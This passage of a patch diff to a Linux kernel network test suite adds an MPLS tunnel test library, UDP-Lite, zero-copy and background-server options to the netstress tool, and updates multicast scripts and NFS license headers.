+TST_CLEANUP="mpls_virt_cleanup"
+
+. virt_lib.sh
+. mpls_lib.sh
+
+setup()
+{
+	virt_type="sit"
+
+	mpls_virt_setup
+}
+
+tst_run
diff --git a/testcases/network/mpls/mpls_lib.sh b/testcases/network/mpls/mpls_lib.sh
new file mode 100755
index 0000000..c64b46c
--- /dev/null
+++ b/testcases/network/mpls/mpls_lib.sh
@@ -0,0 +1,98 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_MIN_KVER="4.3"
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_DRIVERS="mpls_router mpls_iptunnel mpls_gso"
+TST_NEEDS_CMDS="sysctl modprobe"
+TST_TEST_DATA="icmp tcp udp"
+
+. tst_net.sh
+
+mpls_cleanup()
+{
+	local flush_dev="ip -f mpls route flush dev"
+
+	$flush_dev lo > /dev/null 2>&1
+	tst_rhost_run -c "$flush_dev lo" > /dev/null
+
+	[ -n "$rpf_loc" ] && sysctl -q net.ipv4.conf.all.rp_filter=$rpf_loc
+	[ -n "$rpf_rmt" ] && tst_rhost_run -s -c "sysctl -q net.ipv4.conf.all.rp_filter=$rpf_rmt"
+}
+
+mpls_virt_cleanup()
+{
+	ip route del $ip_virt_remote/32 dev ltp_v0 > /dev/null 2>&1
+	ip route del $ip6_virt_remote/128 dev ltp_v0 > /dev/null 2>&1
+	tst_rhost_run -c "ip route del $ip_virt_local/32 dev ltp_v0" > /dev/null
+	tst_rhost_run -c "ip route del $ip6_virt_local/128 dev ltp_v0" > /dev/null
+
+	virt_cleanup
+	mpls_cleanup
+}
+
+mpls_setup()
+{
+	local label="$1"
+
+	tst_net_run -s "modprobe -a $TST_NEEDS_DRIVERS"
+
+	ROD sysctl -q net.mpls.conf.$(tst_iface).input=1
+	tst_set_sysctl net.mpls.conf.lo.input 1 safe
+	tst_set_sysctl net.mpls.platform_labels $label safe
+	rpf_loc="$(sysctl -n net.ipv4.conf.all.rp_filter)"
+
+	tst_rhost_run -s -c "sysctl -q net.mpls.conf.$(tst_iface rhost).input=1"
+	rpf_rmt="$(tst_rhost_run -c 'sysctl -n net.ipv4.conf.all.rp_filter')"
+
+	tst_set_sysctl net.ipv4.conf.all.rp_filter 2 safe
+}
+
+mpls_setup_tnl()
+{
+	local ip_loc="$1"
+	local ip_rmt="$2"
+	local label="$3"
+	local mask
+
+	echo "$ip_loc" | grep -q ':' && mask=128 || mask=32
+
+	ROD ip route add $ip_rmt/$mask encap mpls $label dev ltp_v0
+	ROD ip -f mpls route add $((label + 1)) dev lo
+
+	tst_rhost_run -s -c "ip route add $ip_loc/$mask encap mpls $((label + 1)) dev ltp_v0"
+	tst_rhost_run -s -c "ip -f mpls route add $label dev lo"
+}
+mpls_virt_setup()
+{
+	mpls_setup 62
+
+	virt_lib_setup
+
+	tst_res TINFO "test $virt_type with MPLS"
+	virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost) dev $(tst_iface)" \
+		   "local $(tst_ipaddr rhost) remote $(tst_ipaddr) dev $(tst_iface rhost)"
+
+	mpls_setup_tnl $ip_virt_local $ip_virt_remote 60
+	mpls_setup_tnl $ip6_virt_local $ip6_virt_remote 50
+
+	tst_set_sysctl net.mpls.conf.ltp_v0.input 1 safe
+}
+
+mpls_virt_test()
+{
+	local type=$2
+	local max_size=10000
+
+	if [ "$type" = "icmp" ]; then
+		tst_ping $ip_virt_local $ip_virt_remote 10 100 1000 2000 $max_size
+		tst_ping $ip6_virt_local $ip6_virt_remote 10 100 1000 2000 $max_size
+	else
+		tst_netload -S $ip_virt_local -H $ip_virt_remote -T $type -n 10 -N 10
+		tst_netload -S $ip6_virt_local -H $ip6_virt_remote -T $type -n 10 -N 10
+		tst_netload -S $ip_virt_local -H $ip_virt_remote -T $type -A $max_size
+		tst_netload -S $ip6_virt_local -H $ip6_virt_remote -T $type -A $max_size
+	fi
+}
diff --git a/testcases/network/multicast/mc_cmds/mc_cmds b/testcases/network/multicast/mc_cmds/mc_cmds
index 00e0166..00bbbee 100755
--- a/testcases/network/multicast/mc_cmds/mc_cmds
+++ b/testcases/network/multicast/mc_cmds/mc_cmds
@@ -29,7 +29,8 @@
 TCID=mc_cmds
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 knob="net.ipv4.icmp_echo_ignore_broadcasts"
 knob_changed=
diff --git a/testcases/network/multicast/mc_commo/mc_commo b/testcases/network/multicast/mc_commo/mc_commo
index fdb2dcb..6852f17 100755
--- a/testcases/network/multicast/mc_commo/mc_commo
+++ b/testcases/network/multicast/mc_commo/mc_commo
@@ -31,11 +31,12 @@
 TCID=mc_commo
 TST_TOTAL=2
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 do_setup()
 {
-	tst_check_cmds netstat pgrep
+	tst_test_cmds netstat pgrep
 
 	OCTET=$(ps -ewf | grep [m]c_commo | wc -l | awk '{print $1}')
 	GROUP_ADDR=224.0.0.$OCTET
diff --git a/testcases/network/multicast/mc_gethost/mc_gethost.c b/testcases/network/multicast/mc_gethost/mc_gethost.c
index a5c5d01..9cc15d0 100644
--- a/testcases/network/multicast/mc_gethost/mc_gethost.c
+++ b/testcases/network/multicast/mc_gethost/mc_gethost.c
@@ -21,9 +21,7 @@
 #define LOG_PERROR 0
 #endif
 
-int main(argc, argv)
-int argc;
-char **argv;
+int main(int argc, char **argv)
 {
 	unsigned char b_addr[IN6ADDRSZ];
 	struct hostent *host;
diff --git a/testcases/network/multicast/mc_member/mc_member b/testcases/network/multicast/mc_member/mc_member
index 2982976..6552062 100755
--- a/testcases/network/multicast/mc_member/mc_member
+++ b/testcases/network/multicast/mc_member/mc_member
@@ -33,11 +33,12 @@
 TST_TOTAL=1
 TST_COUNT=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 setup()
 {
-	tst_check_cmds netstat
+	tst_test_cmds netstat
 	tst_tmpdir
 }
 
diff --git a/testcases/network/multicast/mc_opts/mc_opts b/testcases/network/multicast/mc_opts/mc_opts
index 6a38cde..28042ae 100755
--- a/testcases/network/multicast/mc_opts/mc_opts
+++ b/testcases/network/multicast/mc_opts/mc_opts
@@ -32,7 +32,8 @@
 TCID=mc_opts
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 COUNT=1
 while [ $COUNT -le 10 ]; do
diff --git a/testcases/network/netstress/netstress.c b/testcases/network/netstress/netstress.c
index eec60b8..2c5a6bd 100644
--- a/testcases/network/netstress/netstress.c
+++ b/testcases/network/netstress/netstress.c
@@ -34,6 +34,7 @@
 #include <unistd.h>
 #include <errno.h>
 
+#include "lapi/udp.h"
 #include "lapi/dccp.h"
 #include "lapi/netinet_in.h"
 #include "lapi/posix_clocks.h"
@@ -82,20 +83,24 @@
 static int server_max_requests	= 3;
 static int client_max_requests	= 10;
 static int clients_num;
-static char *tcp_port		= "61000";
+static char *tcp_port;
 static char *server_addr	= "localhost";
 static char *source_addr;
+static char *server_bg;
 static int busy_poll		= -1;
 static int max_etime_cnt = 12; /* ~30 sec max timeout if no connection */
+static int max_pmtu_err = 10;
 
 enum {
 	TYPE_TCP = 0,
 	TYPE_UDP,
+	TYPE_UDP_LITE,
 	TYPE_DCCP,
 	TYPE_SCTP
 };
 static uint proto_type;
 static char *type;
+static char *dev;
 static int sock_type = SOCK_STREAM;
 static int protocol;
 static int family = AF_INET6;
@@ -110,6 +115,8 @@
 
 /* in the end test will save time result in this file */
 static char *rpath = "tfo_result";
+static char *port_path = "netstress_port";
+static char *log_path = "netstress.log";
 
 static char *narg, *Narg, *qarg, *rarg, *Rarg, *aarg, *Targ, *barg, *targ,
 	    *Aarg;
@@ -128,21 +135,52 @@
 
 static struct addrinfo *remote_addrinfo;
 static struct addrinfo *local_addrinfo;
-static struct sockaddr_storage remote_addr;
-static socklen_t remote_addr_len;
+
+struct sock_info {
+	int fd;
+	struct sockaddr_storage raddr;
+	socklen_t raddr_len;
+	int etime_cnt;
+	int pmtu_err_cnt;
+	int timeout;
+};
+
+static char *zcopy;
+static int send_flags = MSG_NOSIGNAL;
 
 static void init_socket_opts(int sd)
 {
 	if (busy_poll >= 0)
 		SAFE_SETSOCKOPT_INT(sd, SOL_SOCKET, SO_BUSY_POLL, busy_poll);
 
-	if (proto_type == TYPE_DCCP) {
-		SAFE_SETSOCKOPT_INT(sd, SOL_DCCP, DCCP_SOCKOPT_SERVICE,
-			service_code);
-	}
+	if (dev)
+		SAFE_SETSOCKOPT(sd, SOL_SOCKET, SO_BINDTODEVICE, dev,
+				strlen(dev) + 1);
 
-	if (client_mode && fastopen_sapi)
-		SAFE_SETSOCKOPT_INT(sd, IPPROTO_TCP, TCP_FASTOPEN_CONNECT, 1);
+	switch (proto_type) {
+	case TYPE_TCP:
+		if (client_mode && fastopen_sapi) {
+			SAFE_SETSOCKOPT_INT(sd, IPPROTO_TCP,
+					    TCP_FASTOPEN_CONNECT, 1);
+		}
+		if (client_mode && zcopy)
+			SAFE_SETSOCKOPT_INT(sd, SOL_SOCKET, SO_ZEROCOPY, 1);
+	break;
+	case TYPE_DCCP:
+		SAFE_SETSOCKOPT_INT(sd, SOL_DCCP, DCCP_SOCKOPT_SERVICE,
+				    service_code);
+	break;
+	case TYPE_UDP_LITE: {
+		int cscov = init_srv_msg_len >> 1;
+
+		if (cscov < 8)
+			cscov = 8;
+		tst_res(TINFO, "UDP-Lite send cscov is %d", cscov);
+		/* set checksum for header and partially for payload */
+		SAFE_SETSOCKOPT_INT(sd, SOL_UDPLITE, UDPLITE_SEND_CSCOV, cscov);
+		SAFE_SETSOCKOPT_INT(sd, SOL_UDPLITE, UDPLITE_RECV_CSCOV, 8);
+	} break;
+	}
 }
 
 static void do_cleanup(void)
@@ -163,35 +201,46 @@
 }
 TST_DECLARE_ONCE_FN(cleanup, do_cleanup)
 
-static int sock_recv_poll(int fd, char *buf, int buf_size, int offset,
-			  int *timeout)
+static int sock_recv_poll(char *buf, int size, struct sock_info *i)
 {
 	struct pollfd pfd;
-	pfd.fd = fd;
+	pfd.fd = i->fd;
 	pfd.events = POLLIN;
 	int len = -1;
 
 	while (1) {
 		errno = 0;
-		int ret = poll(&pfd, 1, *timeout);
+		int ret = poll(&pfd, 1, i->timeout);
 		if (ret == -1) {
 			if (errno == EINTR)
 				continue;
 			break;
 		}
 
-		if (ret == 0) {
-			errno = ETIME;
+		if (ret != 1) {
+			if (!errno)
+				errno = ETIME;
 			break;
 		}
 
-		if (ret != 1 || !(pfd.revents & POLLIN))
+		if (!(pfd.revents & POLLIN)) {
+			if (pfd.revents & POLLERR) {
+				int err = 0;
+				socklen_t err_len = sizeof(err);
+
+				getsockopt(i->fd, SOL_SOCKET, SO_ERROR,
+					   &err, &err_len);
+				if (!err)
+					continue;
+				errno = err;
+			}
 			break;
+		}
 
 		errno = 0;
-		len = recvfrom(fd, buf + offset, buf_size - offset,
-			       MSG_DONTWAIT, (struct sockaddr *)&remote_addr,
-			       &remote_addr_len);
+		len = recvfrom(i->fd, buf, size, MSG_DONTWAIT,
+			       (struct sockaddr *)&i->raddr,
+			       &i->raddr_len);
 
 		if (len == -1 && errno == EINTR)
 			continue;
@@ -205,20 +254,26 @@
 	return len;
 }
 
-static int client_recv(int *fd, char *buf, int srv_msg_len, int *etime_cnt,
-		       int *timeout)
+static int client_recv(char *buf, int srv_msg_len, struct sock_info *i)
 {
 	int len, offset = 0;
 
 	while (1) {
 		errno = 0;
-		len = sock_recv_poll(*fd, buf, srv_msg_len, offset, timeout);
+		len = sock_recv_poll(buf + offset, srv_msg_len - offset, i);
 
 		/* socket closed or msg is not valid */
 		if (len < 1 || (offset + len) > srv_msg_len ||
 		   (buf[0] != start_byte && buf[0] != start_fin_byte)) {
-			if (!errno)
+			/* packet too big message, resend with new pmtu */
+			if (errno == EMSGSIZE) {
+				if (++(i->pmtu_err_cnt) < max_pmtu_err)
+					return 0;
+				tst_brk(TFAIL, "too many pmtu errors %d",
+					i->pmtu_err_cnt);
+			} else if (!errno) {
 				errno = ENOMSG;
+			}
 			break;
 		}
 		offset += len;
@@ -232,18 +287,38 @@
 	}
 
 	if (errno == ETIME && sock_type != SOCK_STREAM) {
-		if (++(*etime_cnt) > max_etime_cnt)
-			tst_brk(TFAIL, "protocol timeout: %dms", *timeout);
+		if (++(i->etime_cnt) > max_etime_cnt)
+			tst_brk(TFAIL, "client requests timeout %d times, last timeout %dms",
+				i->etime_cnt, i->timeout);
 		/* Increase timeout in poll up to 3.2 sec */
-		if (*timeout < 3000)
-			*timeout <<= 1;
+		if (i->timeout < 3000)
+			i->timeout <<= 1;
 		return 0;
 	}
 
-	SAFE_CLOSE(*fd);
+	SAFE_CLOSE(i->fd);
 	return (errno) ? -1 : 0;
 }
 
+static int bind_no_port;
+static void bind_before_connect(int sd)
+{
+	if (!local_addrinfo)
+		return;
+
+	if (bind_no_port)
+		SAFE_SETSOCKOPT_INT(sd, SOL_IP, IP_BIND_ADDRESS_NO_PORT, 1);
+
+	SAFE_BIND(sd, local_addrinfo->ai_addr, local_addrinfo->ai_addrlen);
+
+	if (bind_no_port && proto_type != TYPE_SCTP) {
+		int port = TST_GETSOCKPORT(sd);
+
+		if (port)
+			tst_brk(TFAIL, "port not zero after bind(): %d", port);
+	}
+}
+
 static int client_connect_send(const char *msg, int size)
 {
 	int cfd = SAFE_SOCKET(family, sock_type, protocol);
@@ -252,18 +327,15 @@
 
 	if (fastopen_api) {
 		/* Replaces connect() + send()/write() */
-		SAFE_SENDTO(1, cfd, msg, size, MSG_FASTOPEN | MSG_NOSIGNAL,
+		SAFE_SENDTO(1, cfd, msg, size, send_flags | MSG_FASTOPEN,
 			remote_addrinfo->ai_addr, remote_addrinfo->ai_addrlen);
 	} else {
-		if (local_addrinfo)
-			SAFE_BIND(cfd, local_addrinfo->ai_addr,
-				  local_addrinfo->ai_addrlen);
+		bind_before_connect(cfd);
 		/* old TCP API */
 		SAFE_CONNECT(cfd, remote_addrinfo->ai_addr,
 			     remote_addrinfo->ai_addrlen);
-		SAFE_SEND(1, cfd, msg, size, MSG_NOSIGNAL);
+		SAFE_SEND(1, cfd, msg, size, send_flags);
 	}
-
 	return cfd;
 }
 
@@ -294,59 +366,59 @@
 {
 	int cln_len = init_cln_msg_len,
 	    srv_len = init_srv_msg_len;
+	struct sock_info inf;
 	char buf[max_msg_len];
 	char client_msg[max_msg_len];
-	int cfd, i = 0, etime_cnt = 0;
+	int i = 0;
 	intptr_t err = 0;
-	int timeout = wait_timeout;
+
+	inf.raddr_len = sizeof(inf.raddr);
+	inf.etime_cnt = 0;
+	inf.timeout = wait_timeout;
+	inf.pmtu_err_cnt = 0;
 
 	make_client_request(client_msg, &cln_len, &srv_len);
 
 	/* connect & send requests */
-	cfd = client_connect_send(client_msg, cln_len);
-	if (cfd == -1) {
+	inf.fd = client_connect_send(client_msg, cln_len);
+	if (inf.fd == -1) {
 		err = errno;
 		goto out;
 	}
 
-	if (client_recv(&cfd, buf, srv_len, &etime_cnt, &timeout)) {
+	if (client_recv(buf, srv_len, &inf)) {
 		err = errno;
 		goto out;
 	}
 
 	for (i = 1; i < client_max_requests; ++i) {
-		if (proto_type == TYPE_UDP)
-			goto send;
-
-		if (cfd == -1) {
-			cfd = client_connect_send(client_msg, cln_len);
-			if (cfd == -1) {
+		if (inf.fd == -1) {
+			inf.fd = client_connect_send(client_msg, cln_len);
+			if (inf.fd == -1) {
 				err = errno;
 				goto out;
 			}
 
-			if (client_recv(&cfd, buf, srv_len, &etime_cnt,
-			    &timeout)) {
+			if (client_recv(buf, srv_len, &inf)) {
 				err = errno;
 				break;
 			}
 			continue;
 		}
 
-send:
 		if (max_rand_msg_len)
 			make_client_request(client_msg, &cln_len, &srv_len);
 
-		SAFE_SEND(1, cfd, client_msg, cln_len, MSG_NOSIGNAL);
+		SAFE_SEND(1, inf.fd, client_msg, cln_len, send_flags);
 
-		if (client_recv(&cfd, buf, srv_len, &etime_cnt, &timeout)) {
+		if (client_recv(buf, srv_len, &inf)) {
 			err = errno;
 			break;
 		}
 	}
 
-	if (cfd != -1)
-		SAFE_CLOSE(cfd);
+	if (inf.fd != -1)
+		SAFE_CLOSE(inf.fd);
 
 out:
 	if (i != client_max_requests)
@@ -468,22 +540,33 @@
 
 void *server_fn(void *cfd)
 {
-	int client_fd = (intptr_t) cfd;
 	int num_requests = 0, offset = 0;
-	int timeout = wait_timeout;
-	/* Reply will be constructed from first client request */
-	char send_msg[max_msg_len];
-	int send_msg_len = 0;
+	char send_msg[max_msg_len], end[] = { end_byte };
+	int start_send_type = (sock_type == SOCK_DGRAM) ? 1 : 0;
+	int send_msg_len, send_type = start_send_type;
 	char recv_msg[max_msg_len];
+	struct sock_info inf;
 	ssize_t recv_len;
+	struct iovec iov[2];
+	struct msghdr msg;
 
-	send_msg[0] = '\0';
+	inf.fd = (intptr_t) cfd;
+	inf.raddr_len = sizeof(inf.raddr);
+	inf.timeout = wait_timeout;
 
-	init_socket_opts(client_fd);
+	iov[0].iov_base = send_msg;
+	iov[1].iov_base = end;
+	iov[1].iov_len = 1;
+	memset(&msg, 0, sizeof(msg));
+	msg.msg_name = &inf.raddr;
+	msg.msg_iov = iov;
+	msg.msg_iovlen = 2;
+
+	init_socket_opts(inf.fd);
 
 	while (1) {
-		recv_len = sock_recv_poll(client_fd, recv_msg,
-			max_msg_len, offset, &timeout);
+		recv_len = sock_recv_poll(recv_msg + offset,
+					  max_msg_len - offset, &inf);
 
 		if (recv_len == 0)
 			break;
@@ -491,7 +574,7 @@
 		if (recv_len < 0 || (offset + recv_len) > max_msg_len ||
 		   (recv_msg[0] != start_byte &&
 		    recv_msg[0] != start_fin_byte)) {
-			tst_res(TFAIL, "recv failed, sock '%d'", client_fd);
+			tst_res(TFAIL, "recv failed, sock '%d'", inf.fd);
 			goto out;
 		}
 
@@ -524,30 +607,40 @@
 		    ++num_requests >= server_max_requests)
 			send_msg[0] = start_fin_byte;
 
-		switch (proto_type) {
-		case TYPE_SCTP:
-			SAFE_SEND(1, client_fd, send_msg, send_msg_len,
-				MSG_NOSIGNAL);
-		break;
+		switch (send_type) {
+		case 0:
+			SAFE_SEND(1, inf.fd, send_msg, send_msg_len,
+				  send_flags);
+			if (proto_type != TYPE_SCTP)
+				++send_type;
+			break;
+		case 1:
+			SAFE_SENDTO(1, inf.fd, send_msg, send_msg_len,
+				    send_flags, (struct sockaddr *)&inf.raddr,
+				    inf.raddr_len);
+			++send_type;
+			break;
 		default:
-			SAFE_SENDTO(1, client_fd, send_msg, send_msg_len,
-				MSG_NOSIGNAL, (struct sockaddr *)&remote_addr,
-				remote_addr_len);
+			iov[0].iov_len = send_msg_len - 1;
+			msg.msg_namelen = inf.raddr_len;
+			SAFE_SENDMSG(send_msg_len, inf.fd, &msg, send_flags);
+			send_type = start_send_type;
+			break;
 		}
 
 		if (sock_type == SOCK_STREAM &&
 		    num_requests >= server_max_requests) {
 			/* max reqs, close socket */
-			shutdown(client_fd, SHUT_WR);
+			shutdown(inf.fd, SHUT_WR);
 			break;
 		}
 	}
 
-	SAFE_CLOSE(client_fd);
+	SAFE_CLOSE(inf.fd);
 	return NULL;
 
 out:
-	SAFE_CLOSE(client_fd);
+	SAFE_CLOSE(inf.fd);
 	tst_brk(TBROK, "Server closed");
 	return NULL;
 }
@@ -569,6 +662,9 @@
 	hints.ai_socktype = sock_type;
 	hints.ai_flags = AI_PASSIVE;
 
+	if (!source_addr && !tcp_port)
+		tcp_port = "0";
+
 	if (source_addr && !strchr(source_addr, ':'))
 		SAFE_ASPRINTF(&src_addr, "::ffff:%s", source_addr);
 	setup_addrinfo(src_addr ? src_addr : source_addr, tcp_port,
@@ -584,7 +680,15 @@
 
 	freeaddrinfo(local_addrinfo);
 
-	if (proto_type == TYPE_UDP)
+	int port = TST_GETSOCKPORT(sfd);
+
+	tst_res(TINFO, "bind to port %d", port);
+	if (server_bg) {
+		SAFE_CHDIR(server_bg);
+		SAFE_FILE_PRINTF(port_path, "%d", port);
+	}
+
+	if (sock_type == SOCK_DGRAM)
 		return;
 
 	init_socket_opts(sfd);
@@ -594,8 +698,12 @@
 			tfo_queue_size);
 	}
 
+	if (zcopy)
+		SAFE_SETSOCKOPT_INT(sfd, SOL_SOCKET, SO_ZEROCOPY, 1);
+
 	SAFE_LISTEN(sfd, max_queue_len);
-	tst_res(TINFO, "Listen on the socket '%d', port '%s'", sfd, tcp_port);
+
+	tst_res(TINFO, "Listen on the socket '%d'", sfd);
 }
 
 static void server_cleanup(void)
@@ -603,8 +711,28 @@
 	SAFE_CLOSE(sfd);
 }
 
+static void move_to_background(void)
+{
+	if (SAFE_FORK())
+		exit(0);
+
+	SAFE_SETSID();
+
+	close(STDIN_FILENO);
+	SAFE_OPEN("/dev/null", O_RDONLY);
+	close(STDOUT_FILENO);
+	close(STDERR_FILENO);
+
+	int fd = SAFE_OPEN(log_path, O_CREAT | O_TRUNC | O_RDONLY, 00444);
+
+	SAFE_DUP(fd);
+}
+
 static void server_run_udp(void)
 {
+	if (server_bg)
+		move_to_background();
+
 	pthread_t p_id = server_thread_add(sfd);
 
 	SAFE_PTHREAD_JOIN(p_id, NULL);
@@ -612,6 +740,9 @@
 
 static void server_run(void)
 {
+	if (server_bg)
+		move_to_background();
+
 	/* IPv4 source address will be mapped to IPv6 address */
 	struct sockaddr_in6 addr6;
 	socklen_t addr_size = sizeof(addr6);
@@ -702,10 +833,14 @@
 		proto_type = TYPE_TCP;
 	else if (!strcmp(type, "udp"))
 		proto_type = TYPE_UDP;
+	else if (!strcmp(type, "udp_lite"))
+		proto_type = TYPE_UDP_LITE;
 	else if (!strcmp(type, "dccp"))
 		proto_type = TYPE_DCCP;
 	else if (!strcmp(type, "sctp"))
 		proto_type = TYPE_SCTP;
+	else
+		tst_brk(TBROK, "Invalid proto_type: '%s'", type);
 }
 
 static void setup(void)
@@ -752,6 +887,10 @@
 	set_protocol_type();
 
 	if (client_mode) {
+		if (source_addr && tst_kvercmp(4, 2, 0) >= 0) {
+			bind_no_port = 1;
+			tst_res(TINFO, "IP_BIND_ADDRESS_NO_PORT is used");
+		}
 		tst_res(TINFO, "connection: addr '%s', port '%s'",
 			server_addr, tcp_port);
 		tst_res(TINFO, "client max req: %d", client_max_requests);
@@ -767,11 +906,18 @@
 		net.run		= client_run;
 		net.cleanup	= client_cleanup;
 
-		if (proto_type == TYPE_DCCP || proto_type == TYPE_UDP) {
-			tst_res(TINFO, "max timeout errors %d", max_etime_cnt);
+		switch (proto_type) {
+		case TYPE_TCP:
+			check_tw_reuse();
+			break;
+		case TYPE_DCCP:
+		case TYPE_UDP:
+		case TYPE_UDP_LITE:
+			if (max_etime_cnt >= client_max_requests)
+				max_etime_cnt = client_max_requests - 1;
+			tst_res(TINFO, "maximum allowed timeout errors %d", max_etime_cnt);
 			wait_timeout = 100;
 		}
-		check_tw_reuse();
 	} else {
 		tst_res(TINFO, "max requests '%d'",
 			server_max_requests);
@@ -784,19 +930,20 @@
 			net.cleanup	= server_cleanup;
 		break;
 		case TYPE_UDP:
+		case TYPE_UDP_LITE:
 			net.run		= server_run_udp;
 			net.cleanup	= NULL;
 		break;
 		}
 	}
 
-	remote_addr_len = sizeof(struct sockaddr_storage);
-
 	switch (proto_type) {
 	case TYPE_TCP:
 		tst_res(TINFO, "TCP %s is using %s TCP API.",
 			(client_mode) ? "client" : "server",
 			(fastopen_api) ? "Fastopen" : "old");
+		if (zcopy)
+			send_flags |= MSG_ZEROCOPY;
 		check_tfo_value();
 	break;
 	case TYPE_UDP:
@@ -804,13 +951,25 @@
 		fastopen_api = fastopen_sapi = NULL;
 		sock_type = SOCK_DGRAM;
 	break;
-	case TYPE_DCCP:
+	case TYPE_UDP_LITE:
+		tst_res(TINFO, "using UDP Lite");
+		fastopen_api = fastopen_sapi = NULL;
+		sock_type = SOCK_DGRAM;
+		protocol = IPPROTO_UDPLITE;
+	break;
+	case TYPE_DCCP: {
+		/* dccp* modules can be blacklisted, load them manually */
+		const char * const argv[] = {"modprobe", "dccp_ipv6", NULL};
+
+		if (tst_run_cmd(argv, NULL, NULL, 1))
+			tst_brk(TCONF, "Failed to load dccp_ipv6 module");
+
 		tst_res(TINFO, "DCCP %s", (client_mode) ? "client" : "server");
 		fastopen_api = fastopen_sapi = NULL;
 		sock_type = SOCK_DCCP;
 		protocol = IPPROTO_DCCP;
 		service_code = htonl(service_code);
-	break;
+	} break;
 	case TYPE_SCTP:
 		tst_res(TINFO, "SCTP %s", (client_mode) ? "client" : "server");
 		fastopen_api = fastopen_sapi = NULL;
@@ -835,7 +994,9 @@
 	{"S:", &source_addr, "-S x     Source address to bind"},
 	{"g:", &tcp_port, "-g x     x - server port"},
 	{"b:", &barg, "-b x     x - low latency busy poll timeout"},
-	{"T:", &type, "-T x     tcp (default), udp, dccp, sctp\n"},
+	{"T:", &type, "-T x     tcp (default), udp, udp_lite, dccp, sctp"},
+	{"z", &zcopy, "-z       enable SO_ZEROCOPY"},
+	{"D:", &dev, "-d x     bind to device x\n"},
 
 	{"H:", &server_addr, "Client:\n-H x     Server name or IP address"},
 	{"l", &client_mode, "-l       Become client, default is server"},
@@ -843,17 +1004,19 @@
 	{"r:", &rarg, "-r x     Number of client requests"},
 	{"n:", &narg, "-n x     Client message size"},
 	{"N:", &Narg, "-N x     Server message size"},
-	{"m:", &Targ, "-m x     Reply timeout in microsec."},
+	{"m:", &Targ, "-m x     Receive timeout in milliseconds (not used by UDP/DCCP client)"},
 	{"d:", &rpath, "-d x     x is a path to file where result is saved"},
 	{"A:", &Aarg, "-A x     x max payload length (generated randomly)\n"},
 
 	{"R:", &Rarg, "Server:\n-R x     x requests after which conn.closed"},
 	{"q:", &qarg, "-q x     x - TFO queue"},
+	{"B:", &server_bg, "-B x     run in background, x - process directory"},
 	{NULL, NULL, NULL}
 };
 
 static struct tst_test test = {
 	.test_all = do_test,
+	.forks_child = 1,
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = options
diff --git a/testcases/network/nfs/Makefile b/testcases/network/nfs/Makefile
index 6665fd3..6e9a471 100644
--- a/testcases/network/nfs/Makefile
+++ b/testcases/network/nfs/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/nfs test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/nfs/fsx-linux/Makefile b/testcases/network/nfs/fsx-linux/Makefile
index 3234c71..47ebd56 100644
--- a/testcases/network/nfs/fsx-linux/Makefile
+++ b/testcases/network/nfs/fsx-linux/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/nfs/fsx-linux testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/nfs/fsx-linux/fsx.sh b/testcases/network/nfs/fsx-linux/fsx.sh
index 9f2e437..58712e8 100755
--- a/testcases/network/nfs/fsx-linux/fsx.sh
+++ b/testcases/network/nfs/fsx-linux/fsx.sh
@@ -1,48 +1,28 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-#
 #  PURPOSE: Runs the fsx-linux tool with a 50000 iterations setting to
 #	    attempt to uncover the "doread:read input/output" error
 #	    received if the latest NFS patches for 2.4.17 from Trond
 #	    are not applied. http://nfs.sf.net
 
-TCID=nfsx
-TST_TOTAL=1
-TST_CLEANUP="nfs_cleanup"
+TST_TESTFUNC="do_test"
 
 . nfs_lib.sh
